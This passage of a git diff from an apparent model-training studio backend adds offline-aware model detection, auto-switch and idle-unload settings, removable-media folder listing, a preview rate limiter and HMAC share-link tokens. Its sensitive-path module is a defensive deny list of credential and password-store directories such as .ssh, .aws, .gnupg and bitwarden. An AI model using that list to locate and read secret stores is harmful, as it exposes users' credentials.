+                    "ref": run_name if is_latest else f"{run_name}/{checkpoint}",
+                    "is_latest": is_latest,
+                    "loss": loss,
+                    "base_model": metadata.get("base_model"),
+                }
+            )
+    return targets
diff --git a/studio/backend/utils/models/model_config.py b/studio/backend/utils/models/model_config.py
index 9401ba3427..5d8458e5f0 100644
--- a/studio/backend/utils/models/model_config.py
+++ b/studio/backend/utils/models/model_config.py
@@ -44,13 +44,15 @@ from utils.subprocess_compat import (
 logger = get_logger(__name__)
 
 
+_OFFLINE_TRUE_VALUES = {"1", "true", "yes", "on"}
+
+
 def _env_offline() -> bool:
-    """True if HF_HUB_OFFLINE or TRANSFORMERS_OFFLINE is set to a truthy value."""
-    return os.environ.get("HF_HUB_OFFLINE", "").lower() in (
-        "1",
-        "true",
-        "yes",
-    ) or os.environ.get("TRANSFORMERS_OFFLINE", "").lower() in ("1", "true", "yes")
+    """True if an HF offline env var is truthy (canonical strip+lower parse, on/true/yes/1)."""
+    return (
+        os.environ.get("HF_HUB_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+        or os.environ.get("TRANSFORMERS_OFFLINE", "").strip().lower() in _OFFLINE_TRUE_VALUES
+    )
 
 
 # ── Model size extraction ────────────────────────────────────
@@ -471,6 +473,7 @@ def load_model_config(
     use_auth: bool = False,
     token: Optional[str] = None,
     trust_remote_code: bool = False,
+    local_files_only: bool = False,
 ):
     """Load model config with optional authentication control.
 
@@ -478,12 +481,18 @@ def load_model_config(
     metadata lookups must never execute a model repo's ``auto_map`` Python.
     Deliberate remote-code loads pass the flag explicitly through
     ``FastLanguageModel.from_pretrained`` with the user's own consent.
+
+    ``local_files_only`` keeps the config read on the local HF cache (offline
+    export), so an offline probe never blocks on the network.
     """
     from transformers import AutoConfig
 
     if token:
         return AutoConfig.from_pretrained(
-            model_name, trust_remote_code = trust_remote_code, token = token
+            model_name,
+            trust_remote_code = trust_remote_code,
+            token = token,
+            local_files_only = local_files_only,
         )
 
     if not use_auth:
@@ -493,12 +502,14 @@ def load_model_config(
                 model_name,
                 trust_remote_code = trust_remote_code,
                 token = None,
+                local_files_only = local_files_only,
             )
 
     # Default auth (cached tokens)
     return AutoConfig.from_pretrained(
         model_name,
         trust_remote_code = trust_remote_code,
+        local_files_only = local_files_only,
     )
 
 
@@ -598,7 +609,9 @@ def _is_vlm(config) -> bool:
 
 
 def _raw_config_has_vision_config(
-    model_name: str, hf_token: Optional[str] = None
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
 ) -> Optional[bool]:
     try:
         if is_local_path(model_name):
@@ -610,6 +623,7 @@ def _raw_config_has_vision_config(
                     repo_id = model_name,
                     filename = "config.json",
                     token = hf_token,
+                    local_files_only = local_files_only,
                 )
             )
         config = json.loads(config_path.read_text())
@@ -776,27 +790,20 @@ def _token_fingerprint(token: Optional[str]) -> Optional[str]:
     return hashlib.sha256(token.encode("utf-8")).hexdigest()
 
 
-# Cache vision detection per session to avoid repeated subprocess spawns.
-# Keyed by (normalized_model_name, token_fingerprint) to handle gated models.
-# Only definitive results are cached; transient failures (network, timeouts)
-# are NOT cached so they can be retried.
-_vision_detection_cache: Dict[Tuple[str, Optional[str]], bool] = {}
+# Vision detection cache keyed by (name, token, local_files_only); only definitive results cached.
+_vision_detection_cache: Dict[Tuple[str, Optional[str], bool], bool] = {}
 _vision_cache_lock = threading.Lock()
 
 
-def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
-    """
-    Detect vision-language models (VLMs) via architecture in config. Works for
-    fine-tuned models since they inherit the base architecture.
-
-    Models needing transformers 5.x are checked in a .venv_t5/ subprocess.
-    Results are cached per (model_name, token_fingerprint) for the process
-    lifetime; transient failures are not cached so they can be retried.
-
-    Args:
-        model_name: Model identifier (HF repo or local path)
-        hf_token: Optional HF token for gated/private models
-    """
+def is_vision_model(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
+) -> bool:
+    """Detect VLMs via the config architecture (works for fine-tunes); transformers-5.x
+    models are checked in a .venv_t5/ subprocess. Cached per (model_name, token,
+    local_files_only) minus transient failures; local_files_only is in the key so an
+    offline probe never shares an online entry."""
     # Local GGUF models are served by llama-server. Their multimodal
     # capability comes from a companion mmproj, not a Transformers config.
     # Do not cache this lookup: a projector may be added beside an existing
@@ -829,7 +836,10 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
             exc,
         )
         resolved_name = model_name
-    cache_key = (resolved_name, _token_fingerprint(hf_token))
+    # Key on effective offline (kwarg OR env) so an offline probe can't poison a later
+    # online lookup once the env var is cleared.
+    effective_offline = bool(local_files_only or _env_offline())
+    cache_key = (resolved_name, _token_fingerprint(hf_token), effective_offline)
 
     # Lock-free fast path for cache hits. Sentinel distinguishes "key not found"
     # from "value is False" in a single atomic dict.get() call.
@@ -840,7 +850,7 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
 
     # Compute outside the lock so long-running detection isn't serialized across
     # models. Two concurrent calls may both run, but produce the same result.
-    result = _is_vision_model_uncached(resolved_name, hf_token)
+    result = _is_vision_model_uncached(resolved_name, hf_token, local_files_only = effective_offline)
     # Only cache definitive results; None is a transient failure, retry later.
     if result is not None:
         with _vision_cache_lock:
@@ -849,7 +859,11 @@ def is_vision_model(model_name: str, hf_token: Optional[str] = None) -> bool:
     return False
 
 
-def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -> Optional[bool]:
+def _is_vision_model_uncached(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
+) -> Optional[bool]:
     """Uncached vision detection; use is_vision_model() instead.
 
     Returns True/False for definitive results, or None on transient errors
@@ -858,15 +872,17 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
     # Try the raw-config reader FIRST (code-free, version-independent): it classifies
     # repo-code VLMs like DeepSeek-OCR via declarative vision_config with no remote-code
     # execution or transformers-5.x subprocess.
-    raw = _raw_config_has_vision_config(model_name, hf_token = hf_token)
+    raw = _raw_config_has_vision_config(
+        model_name, hf_token = hf_token, local_files_only = local_files_only
+    )
     if raw is not None:
         return raw
 
-    # Raw read failed transiently: fall back to AutoConfig with remote code DISABLED
-    # (in a transformers-5.x subprocess when the main process can't parse the arch).
+    # Raw read failed transiently: fall back to AutoConfig (remote code DISABLED), via a
+    # transformers-5.x subprocess if needed. Skip that subprocess offline (it probes the network).
     from utils.transformers_version import needs_transformers_5
 
-    if needs_transformers_5(model_name):
+    if not local_files_only and needs_transformers_5(model_name):
         logger.info(
             "Model '%s' needs transformers 5.x -- checking vision via subprocess",
             model_name,
@@ -874,7 +890,12 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
         return _is_vision_model_subprocess(model_name, hf_token = hf_token)
 
     try:
-        config = load_model_config(model_name, use_auth = True, token = hf_token)
+        config = load_model_config(
+            model_name,
+            use_auth = True,
+            token = hf_token,
+            local_files_only = local_files_only,
+        )
 
         if _is_vlm(config):
             model_type = getattr(config, "model_type", None)
@@ -914,9 +935,9 @@ def _is_vision_model_uncached(model_name: str, hf_token: Optional[str] = None) -
 
 VALID_AUDIO_TYPES = ("snac", "csm", "bicodec", "dac", "whisper", "audio_vlm")
 
-# Keyed by (normalized_name, token_fingerprint) like the vision cache, so an
-# unauthenticated miss (None) cannot poison a later authenticated lookup.
-_audio_detection_cache: Dict[Tuple[str, Optional[str]], Optional[str]] = {}
+# Keyed like the vision cache by (name, token, local_files_only) so an unauthenticated
+# or offline miss cannot poison a later authenticated / online lookup.
+_audio_detection_cache: Dict[Tuple[str, Optional[str], bool], Optional[str]] = {}
 
 # Tokenizer token patterns → audio_type (all 6 types from tokenizer_config.json)
 _AUDIO_TOKEN_PATTERNS = {
@@ -935,12 +956,20 @@ _AUDIO_TOKEN_PATTERNS = {
 }
 
 
-def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Optional[str]:
+def detect_audio_type(
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
+) -> Optional[str]:
     """Detect if a model is an audio model and return its type.
 
     Works for any model via tokenizer_config.json special tokens.
     Returns an audio_type string ('snac', 'csm', 'bicodec', 'dac', 'whisper',
     'audio_vlm') or None.
+
+    When local_files_only is True (offline export) the remote HuggingFace fetch
+    is skipped so detection never blocks on a network read; only the local HF
+    cache is consulted.
     """
     # Normalize casing + include the token fingerprint (mirrors is_vision_model).
     try:
@@ -950,11 +979,16 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option
             resolved_name = resolve_cached_repo_id_case(model_name)
     except Exception:
         resolved_name = model_name
-    cache_key = (resolved_name, _token_fingerprint(hf_token))
+    # Key on effective offline (kwarg OR env), matching where the remote fetch is skipped,
+    # so an offline negative can't poison a later online probe.
+    effective_offline = bool(local_files_only or _env_offline())
+    cache_key = (resolved_name, _token_fingerprint(hf_token), effective_offline)
     if cache_key in _audio_detection_cache:
         return _audio_detection_cache[cache_key]
 
-    result, definitive = _detect_audio_from_tokenizer(model_name, hf_token)
+    result, definitive = _detect_audio_from_tokenizer(
+        model_name, hf_token, local_files_only = effective_offline
+    )
     # Cache only definitive results; a transient read failure stays None and retries.
     if definitive:
         _audio_detection_cache[cache_key] = result
@@ -964,12 +998,15 @@ def detect_audio_type(model_name: str, hf_token: Optional[str] = None) -> Option
 
 
 def _detect_audio_from_tokenizer(
-    model_name: str, hf_token: Optional[str] = None
+    model_name: str,
+    hf_token: Optional[str] = None,
+    local_files_only: bool = False,
 ) -> Tuple[Optional[str], bool]:
     """Detect audio type from tokenizer special tokens.
 
-    Checks local HF cache first, then fetches tokenizer_config.json from HF;
-    examines added_tokens_decoder for distinctive patterns.
+    Checks local HF cache first, then (unless local_files_only) fetches
+    tokenizer_config.json from HF; examines added_tokens_decoder for distinctive
+    patterns.
 
     Returns (audio_type_or_None, definitive). definitive is False only on a
     transient read failure (network/timeout/5xx) so the caller skips caching and
@@ -1009,7 +1046,11 @@ def _detect_audio_from_tokenizer(
     except Exception as e:
         logger.debug(f"Could not check local cache for {model_name}: {e}")
 
-    # 2) Fall back to HuggingFace API
+    # 2) Fall back to the HuggingFace API. This raw requests.get ignores the HF offline
+    #    flag, so gate it on local_files_only OR the env vars to skip the network offline.
+    if local_files_only or _env_offline():
+        return None, read_any
+
     try:
         import requests
         import os
diff --git a/studio/backend/utils/openai_auto_switch_settings.py b/studio/backend/utils/openai_auto_switch_settings.py
new file mode 100644
index 0000000000..1689395f40
--- /dev/null
+++ b/studio/backend/utils/openai_auto_switch_settings.py
@@ -0,0 +1,180 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persisted opt-in controls for OpenAI-compatible model auto-switching.
+
+Two settings, both off by default so existing API behavior is unchanged:
+- ``openai_api_auto_switch_model``: when on, a ``/v1`` request whose ``model``
+  names a downloaded local GGUF different from the loaded one transparently
+  loads it before serving (llama-swap-style). Unknown names pass through.
+- ``openai_api_auto_unload_idle_seconds``: when > 0, the loaded GGUF is
+  unloaded after this many idle seconds to free VRAM.
+
+The idle TTL can also be set at startup via the ``UNSLOTH_MODEL_IDLE_TTL`` env
+var. Unlike the stored setting (which stays gated on auto-switch), the env value
+is a standalone default that enables idle-unload even with auto-switch off, for
+headless/container deploys; an explicit UI/API value still overrides it.
+
+Reads are cached for a short window because these are consulted on the
+per-request hot path; writes invalidate the cache.
+"""
+
+from __future__ import annotations
+
+import os
+import threading
+import time
+from typing import Any, Optional
+
+OPENAI_AUTO_SWITCH_SETTING_KEY = "openai_api_auto_switch_model"
+AUTO_UNLOAD_IDLE_SETTING_KEY = "openai_api_auto_unload_idle_seconds"
+MODEL_OVERRIDES_SETTING_KEY = "openai_api_auto_switch_overrides"
+MODEL_IDLE_TTL_ENV_VAR = "UNSLOTH_MODEL_IDLE_TTL"
+
+DEFAULT_OPENAI_AUTO_SWITCH_ENABLED = False
+DEFAULT_AUTO_UNLOAD_IDLE_SECONDS = 0
+
+_CACHE_TTL_S = 2.0
+_cache_lock = threading.Lock()
+_cache: dict[str, tuple[float, Any]] = {}
+
+
+def _coerce_bool(value: Any) -> bool | None:
+    if isinstance(value, bool):
+        return value
+    if isinstance(value, str):
+        normalized = value.strip().lower()
+        if normalized in {"1", "true", "yes", "on"}:
+            return True
+        if normalized in {"0", "false", "no", "off", ""}:
+            return False
+    return None
+
+
+def _coerce_int(value: Any) -> int | None:
+    try:
+        return max(0, int(value))
+    except (TypeError, ValueError):
+        return None
+
+
+def _cached_setting(key: str, default: Any) -> Any:
+    """Read an app setting, memoized for _CACHE_TTL_S to spare the hot path."""
+    now = time.monotonic()
+    with _cache_lock:
+        hit = _cache.get(key)
+        if hit is not None and now - hit[0] < _CACHE_TTL_S:
+            return hit[1]
+    try:
+        from storage.studio_db import get_app_setting
+        stored = get_app_setting(key, None)
+    except Exception:
+        stored = None
+    value = default if stored is None else stored
+    with _cache_lock:
+        _cache[key] = (now, value)
+    return value
+
+
+def _invalidate(key: str) -> None:
+    with _cache_lock:
+        _cache.pop(key, None)
+
+
+def get_openai_auto_switch_enabled() -> bool:
+    parsed = _coerce_bool(_cached_setting(OPENAI_AUTO_SWITCH_SETTING_KEY, None))
+    return parsed if parsed is not None else DEFAULT_OPENAI_AUTO_SWITCH_ENABLED
+
+
+def _stored_idle_seconds() -> Optional[int]:
+    """The persisted idle TTL as an int, or None when never set."""
+    return _coerce_int(_cached_setting(AUTO_UNLOAD_IDLE_SETTING_KEY, None))
+
+
+def _env_idle_seconds() -> Optional[int]:
+    """UNSLOTH_MODEL_IDLE_TTL as a non-negative seconds value, or None if unset/invalid."""
+    raw = os.environ.get(MODEL_IDLE_TTL_ENV_VAR)
+    if raw is None or not raw.strip():
+        return None
+    return _coerce_int(raw)
+
+
+def get_stored_auto_unload_idle_seconds() -> int:
+    """The persisted idle-unload TTL, independent of whether auto-switch is on.
+
+    The settings UI reads this so it can display and round-trip the saved value;
+    toggling auto-switch off must not erase it. Falls back to the env override so
+    the UI shows the startup default. The idle loop uses the gated reader below.
+    """
+    stored = _stored_idle_seconds()
+    if stored is not None:
+        return stored
+    env = _env_idle_seconds()
+    return env if env is not None else DEFAULT_AUTO_UNLOAD_IDLE_SECONDS
+
+
+def get_auto_unload_idle_seconds() -> int:
+    """Effective idle TTL the idle loop runs on (0 = never unload)."""
+    stored = _stored_idle_seconds()
+    if stored is not None:
+        # An explicit UI/API value stays gated on auto-switch: off reports 0 so the
+        # off state is identical to pre-feature.
+        return stored if get_openai_auto_switch_enabled() else 0
+    # No stored value: UNSLOTH_MODEL_IDLE_TTL is a standalone startup default that
+    # enables idle-unload even with auto-switch off (headless/container deploys).
+    env = _env_idle_seconds()
+    return env if env is not None else 0
+
+
+def set_openai_auto_switch(enabled: Any, idle_seconds: Any) -> tuple[bool, int]:
+    """Set both auto-switch flags in one transaction so a settings PUT can't leave
+    one key updated and the other stale. Both values are coerced before any write,
+    so an invalid value raises without persisting either."""
+    parsed_enabled = _coerce_bool(enabled)
+    if parsed_enabled is None:
+        raise ValueError("OpenAI auto-switch must be true or false.")
+    parsed_idle = _coerce_int(idle_seconds)
+    if parsed_idle is None:
+        raise ValueError("Auto-unload idle seconds must be a non-negative integer.")
+    from storage.studio_db import upsert_app_settings
+
+    upsert_app_settings(
+        {OPENAI_AUTO_SWITCH_SETTING_KEY: parsed_enabled, AUTO_UNLOAD_IDLE_SETTING_KEY: parsed_idle}
+    )
+    _invalidate(OPENAI_AUTO_SWITCH_SETTING_KEY)
+    _invalidate(AUTO_UNLOAD_IDLE_SETTING_KEY)
+    return parsed_enabled, parsed_idle
+
+
+def get_model_overrides() -> dict[str, dict]:
+    """Per-model launch overrides keyed by model id ({llama_extra_args, max_seq_length})."""
+    raw = _cached_setting(MODEL_OVERRIDES_SETTING_KEY, None)
+    return raw if isinstance(raw, dict) else {}
+
+
+def get_model_override(model_id: str) -> dict:
+    """The launch override applied when auto-switch loads ``model_id`` (or empty)."""
+    override = get_model_overrides().get(model_id)
+    return override if isinstance(override, dict) else {}
+
+
+def set_model_override(
+    model_id: str,
+    llama_extra_args: Optional[list[str]] = None,
+    max_seq_length: Optional[int] = None,
+) -> dict:
+    """Upsert one model's launch override; an override with no fields removes it."""
+    if not model_id or not model_id.strip():
+        raise ValueError("model_id is required.")
+    entry: dict[str, Any] = {}
+    if llama_extra_args:
+        entry["llama_extra_args"] = [str(arg) for arg in llama_extra_args]
+    if max_seq_length:
+        entry["max_seq_length"] = max(0, int(max_seq_length))
+
+    from storage.studio_db import upsert_app_setting_map_entry
+
+    # Atomic per-entry merge so two PUTs for different models can't drop each other.
+    upsert_app_setting_map_entry(MODEL_OVERRIDES_SETTING_KEY, model_id.strip(), entry or None)
+    _invalidate(MODEL_OVERRIDES_SETTING_KEY)
+    return entry
diff --git a/studio/backend/utils/paths/external_media.py b/studio/backend/utils/paths/external_media.py
new file mode 100644
index 0000000000..1f1754664f
--- /dev/null
+++ b/studio/backend/utils/paths/external_media.py
@@ -0,0 +1,100 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""External media path helpers."""
+
+from __future__ import annotations
+
+import getpass
+import os
+import platform
+from pathlib import Path
+
+from utils.paths.sensitive import (
+    contains_sensitive_path_component,
+    is_sensitive_path_component,
+)
+
+
+def _is_linux_media_mount_path(path: str, media_root: Path | str) -> bool:
+    normalized = os.path.normpath(os.path.realpath(os.path.expanduser(path)))
+    root = os.path.normpath(os.path.realpath(os.path.expanduser(str(media_root))))
+    try:
+        rel = os.path.relpath(normalized, root)
+    except ValueError:
+        return False
+    if rel == "." or rel == ".." or rel.startswith(f"..{os.sep}"):
+        return False
+    parts = [part for part in rel.split(os.sep) if part]
+    return len(parts) >= 2 and all(part not in (".", "..") for part in parts[:2])
+
+
+def is_linux_run_media_path(path: str) -> bool:
+    """True for Linux removable-media paths under /run/media/<user>/<volume>."""
+    if platform.system() != "Linux":
+        return False
+    return _is_linux_media_mount_path(path, "/run/media")
+
+
+def _current_username() -> str | None:
+    try:
+        user = getpass.getuser().strip()
+    except Exception:
+        return None
+    return user or None
+
+
+def _contains_sensitive_media_component(path: Path, media_root: Path) -> bool:
+    try:
+        rel = path.relative_to(media_root)
+    except ValueError:
+        rel = path
+    return contains_sensitive_path_component(str(rel))
+
+
+def linux_run_media_mount_roots(
+    base: Path | str = "/run/media", *, user: str | None = None
+) -> list[Path]:
+    """Readable /run/media/<user>/<volume> roots for the folder browser."""
+    if platform.system() != "Linux":
+        return []
+    user = user or _current_username()
+    if not user or user in (".", "..") or os.sep in user:
+        return []
+    base_path = Path(base)
+    try:
+        resolved_base = base_path.resolve()
+    except (OSError, RuntimeError, ValueError):
+        return []
+
+    roots: list[Path] = []
+    seen: set[str] = set()
+    user_dir = base_path / user
+    try:
+        if not user_dir.is_dir():
+            return []
+        volume_dirs = list(user_dir.iterdir())
+    except (OSError, RuntimeError, ValueError):
+        return []
+    for volume_dir in volume_dirs:
+        if is_sensitive_path_component(volume_dir.name):
+            continue
+        try:
+            resolved = volume_dir.resolve()
+        except (OSError, RuntimeError, ValueError):
+            continue
+        if not _is_linux_media_mount_path(str(resolved), resolved_base):
+            continue
+        if _contains_sensitive_media_component(resolved, resolved_base):
+            continue
+        key = os.path.normcase(os.path.realpath(str(resolved)))
+        if key in seen:
+            continue
+        try:
+            is_dir = resolved.is_dir()
+        except OSError:
+            continue
+        if is_dir and os.access(resolved, os.R_OK | os.X_OK):
+            seen.add(key)
+            roots.append(resolved)
+    return roots
diff --git a/studio/backend/utils/paths/sensitive.py b/studio/backend/utils/paths/sensitive.py
new file mode 100644
index 0000000000..7d32a5f4cf
--- /dev/null
+++ b/studio/backend/utils/paths/sensitive.py
@@ -0,0 +1,46 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Shared sensitive path-component policy."""
+
+from __future__ import annotations
+
+import os
+
+
+SENSITIVE_PATH_COMPONENTS = {
+    ".aws",
+    ".azure",
+    ".config",
+    ".docker",
+    ".gcloud",
+    ".gnupg",
+    ".huggingface",
+    ".kaggle",
+    ".kube",
+    ".modelscope",
+    ".ngc",
+    ".local",
+    ".mozilla",
+    ".pki",
+    ".thunderbird",
+    ".ssh",
+    ".1password",
+    ".bitwarden",
+    ".password-store",
+    "1password",
+    "bitwarden",
+    "keychains",
+    "keyrings",
+    "mozilla",
+    "thunderbird",
+}
+
+
+def is_sensitive_path_component(name: str) -> bool:
+    return name.lower() in SENSITIVE_PATH_COMPONENTS
+
+
+def contains_sensitive_path_component(path: str) -> bool:
+    parts = os.path.normpath(path).split(os.sep)
+    return any(is_sensitive_path_component(part) for part in parts)
diff --git a/studio/backend/utils/preview_rate_limit.py b/studio/backend/utils/preview_rate_limit.py
new file mode 100644
index 0000000000..dd38cfd5e7
--- /dev/null
+++ b/studio/backend/utils/preview_rate_limit.py
@@ -0,0 +1,67 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Coarse per-IP sliding-window rate limit for the public ``/p`` preview chat.
+
+A signed link stops ref guessing, but anyone with a link can still drive GPU
+generation. This bounds sustained abuse from a single source. In-process and
+single-worker only (like the login limiter in ``routes/auth.py``); Studio runs as
+one uvicorn process, so a shared store isn't needed.
+"""
+
+from __future__ import annotations
+
+import threading
+import time
+from collections import deque
+
+# Window / ceiling for preview chat-completions per client IP.
+_WINDOW_SECONDS = 60.0
+_MAX_REQUESTS = 20
+# Bound memory on a public surface (many distinct IPs).
+_MAX_BUCKETS = 4096
+
+_buckets: dict[str, deque] = {}
+_lock = threading.Lock()
+
+
+def _prune(bucket: deque, now: float) -> None:
+    while bucket and now - bucket[0] > _WINDOW_SECONDS:
+        bucket.popleft()
+
+
+def _evict_aged(now: float) -> None:
+    """Drop only buckets that have fully aged out. Never evict an active bucket:
+    evicting a throttled key would reset its counter, so a flood of distinct keys
+    could cycle the table and clear a victim's (or its own) limit."""
+    for key in list(_buckets.keys()):
+        _prune(_buckets[key], now)
+        if not _buckets[key]:
+            del _buckets[key]
+
+
+def check_rate_limit(key: str) -> int:
+    """Record a hit for ``key``; return seconds-to-wait if over the limit, else 0."""
+    now = time.monotonic()
+    with _lock:
+        bucket = _buckets.get(key)
+        if bucket is None:
+            if len(_buckets) >= _MAX_BUCKETS:
+                _evict_aged(now)
+            if len(_buckets) >= _MAX_BUCKETS:
+                # Table is full of currently-active clients. Fail closed: deny the
+                # new key rather than evict a live bucket (which would hand out a
+                # rate-limit reset). Pathological only (>= _MAX_BUCKETS live IPs).
+                return max(1, int(_WINDOW_SECONDS))
+            bucket = _buckets[key] = deque()
+        _prune(bucket, now)
+        if len(bucket) >= _MAX_REQUESTS:
+            return max(1, int(_WINDOW_SECONDS - (now - bucket[0])) + 1)
+        bucket.append(now)
+        return 0
+
+
+def reset() -> None:
+    """Clear all buckets (test isolation)."""
+    with _lock:
+        _buckets.clear()
diff --git a/studio/backend/utils/preview_sharing_settings.py b/studio/backend/utils/preview_sharing_settings.py
new file mode 100644
index 0000000000..047c4be3b4
--- /dev/null
+++ b/studio/backend/utils/preview_sharing_settings.py
@@ -0,0 +1,55 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Persisted kill switch for public ``/p`` preview link sharing."""
+
+from __future__ import annotations
+
+from typing import Any
+
+PREVIEW_SHARING_SETTING_KEY = "preview_public_sharing_enabled"
+# Default on: signed share links work out of the box (current behavior). An admin
+# can flip this off to take the public ``/p`` surface offline entirely - links
+# then 404 even with a valid token, leaving preview to the authenticated app.
+DEFAULT_PREVIEW_SHARING_ENABLED = True
+
+
+def _coerce_bool(value: Any) -> bool | None:
+    if isinstance(value, bool):
+        return value
+    if isinstance(value, str):
+        normalized = value.strip().lower()
+        if normalized in {"1", "true", "yes", "on"}:
+            return True
+        if normalized in {"0", "false", "no", "off", ""}:
+            return False
+    return None
+
+
+def get_preview_sharing_enabled() -> bool:
+    """Read the persisted public-preview-sharing preference.
+
+    A *missing* setting defaults to enabled so the feature keeps working as
+    before unless an admin explicitly turns it off. A *read failure* (e.g. a
+    transient SQLite/permission error) fails closed -- this is a kill switch, so
+    an unreadable settings DB must not silently reopen the public surface.
+    """
+    try:
+        from storage.studio_db import get_app_setting
+        stored = get_app_setting(PREVIEW_SHARING_SETTING_KEY, None)
+    except Exception:
+        return False
+    parsed = _coerce_bool(stored)
+    return parsed if parsed is not None else DEFAULT_PREVIEW_SHARING_ENABLED
+
+
+def set_preview_sharing_enabled(value: Any) -> bool:
+    """Persist whether public ``/p`` preview links are accepted."""
+    parsed = _coerce_bool(value)
+    if parsed is None:
+        raise ValueError("Public preview sharing must be true or false.")
+
+    from storage.studio_db import upsert_app_settings
+
+    upsert_app_settings({PREVIEW_SHARING_SETTING_KEY: parsed})
+    return parsed
diff --git a/studio/backend/utils/preview_token.py b/studio/backend/utils/preview_token.py
new file mode 100644
index 0000000000..fd5b646dc9
--- /dev/null
+++ b/studio/backend/utils/preview_token.py
@@ -0,0 +1,52 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""HMAC capability tokens for public ``/p`` preview share links.
+
+The preview ref (``run`` or ``run/checkpoint``) is a deterministic, guessable
+outputs-root path, so it can't gate access on its own. We sign the canonical ref
+with a dedicated server-side secret and require the resulting token on every
+public preview request: guessing a ref no longer grants access, and rotating the
+secret (``auth.storage.rotate_preview_link_secret``) revokes every link at once.
+"""
+
+from __future__ import annotations
+
+import base64
+import hashlib
+import hmac
+from typing import Optional
+
+from auth.storage import get_or_create_preview_link_secret
+
+# Versioned so the token format can evolve without silently honoring old shapes.
+_PREVIEW_TOKEN_VERSION = "v1"
+
+
+def _canonical_payload(ref: str) -> bytes:
+    # Sign the canonical ref only (never host/path) so links stay portable across
+    # localhost / LAN IP / tunnel host changes.
+    return f"preview:{_PREVIEW_TOKEN_VERSION}:{ref}".encode("utf-8")
+
+
+def sign_preview_ref(ref: str) -> str:
+    """Return the URL-safe HMAC capability token for a canonical preview ref."""
+    mac = hmac.new(
+        get_or_create_preview_link_secret(),
+        _canonical_payload(ref),
+        hashlib.sha256,
+    ).digest()
+    return base64.urlsafe_b64encode(mac).rstrip(b"=").decode("ascii")
+
+
+def verify_preview_ref(ref: str, token: Optional[str]) -> bool:
+    """Constant-time check that ``token`` is a valid capability for ``ref``."""
+    if not token:
+        return False
+    # Compare as bytes: a non-ASCII token (e.g. a %-encoded query value) would make
+    # hmac.compare_digest on two str raise TypeError -> treat it as simply invalid.
+    try:
+        provided = token.encode("ascii")
+    except UnicodeEncodeError:
+        return False
+    return hmac.compare_digest(sign_preview_ref(ref).encode("ascii"), provided)
diff --git a/studio/backend/utils/training_runs.py b/studio/backend/utils/training_runs.py
new file mode 100644
index 0000000000..dc2535e570
--- /dev/null
+++ b/studio/backend/utils/training_runs.py
@@ -0,0 +1,104 @@
+# SPDX-License-Identifier: AGPL-3.0-only
+# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved. See /studio/LICENSE.AGPL-3.0
+
+"""Helpers for naming and describing Studio training runs."""
+
+from __future__ import annotations
+
+import re
+import time
+from typing import Any, Optional
+
+_INVALID_SEGMENT_CHARS = re.compile(r"[^A-Za-z0-9._-]+")
+_MAX_RUN_DIR_NAME_CHARS = 255
+_PROJECT_MARKER = "__project-"
+_PROJECT_MARKER_ESCAPE = f"{_PROJECT_MARKER}-"
+
+
+def _trim_segment(segment: str, max_chars: int) -> str:
+    if max_chars <= 0:
+        return ""
+    return segment[:max_chars].strip("._-")
+
+
+def _escape_project_marker(segment: str) -> str:
+    return segment.replace(_PROJECT_MARKER, _PROJECT_MARKER_ESCAPE)
+
+
+def _unescape_project_marker(segment: str) -> str:
+    return segment.replace(_PROJECT_MARKER_ESCAPE, _PROJECT_MARKER)
+
+
+def _appended_project_marker_index(segment: str) -> int:
+    marker_index = segment.rfind(_PROJECT_MARKER)
+    while marker_index >= 0 and segment.startswith(_PROJECT_MARKER_ESCAPE, marker_index):
+        marker_index = segment.rfind(_PROJECT_MARKER, 0, marker_index)
+    return marker_index
+
+
+def normalize_project_name(project_name: Any) -> Optional[str]:
+    """Return a trimmed project name, or None when empty/invalid."""
+    if not isinstance(project_name, str):
+        return None
+    normalized = " ".join(project_name.strip().split())
+    return normalized or None
+
+
+def slugify_project_name(project_name: Any) -> Optional[str]:
+    """Convert a project name into a filesystem-safe suffix."""
+    normalized = normalize_project_name(project_name)
+    if normalized is None:
+        return None
+
+    slug = _INVALID_SEGMENT_CHARS.sub("-", normalized).strip("-._")
+    if not slug:
+        return None
+    return slug.lower()
+
+
+def build_default_output_dir_name(
+    model_name: str,
+    project_name: Any = None,
+    *,
+    timestamp: Optional[int] = None,
+) -> str:
+    """Build the default training output folder name."""
+    from utils.paths import default_run_dir_name
+
+    timestamp_part = str(int(time.time() if timestamp is None else timestamp))
+    timestamp_suffix = f"_{timestamp_part}"
+    model_segment = _escape_project_marker(default_run_dir_name(model_name))
+    project_slug = slugify_project_name(project_name)
+    if not project_slug:
+        max_model_chars = _MAX_RUN_DIR_NAME_CHARS - len(timestamp_suffix)
+        model_segment = _trim_segment(model_segment, max_model_chars) or "model"
+        return f"{model_segment}{timestamp_suffix}"
+
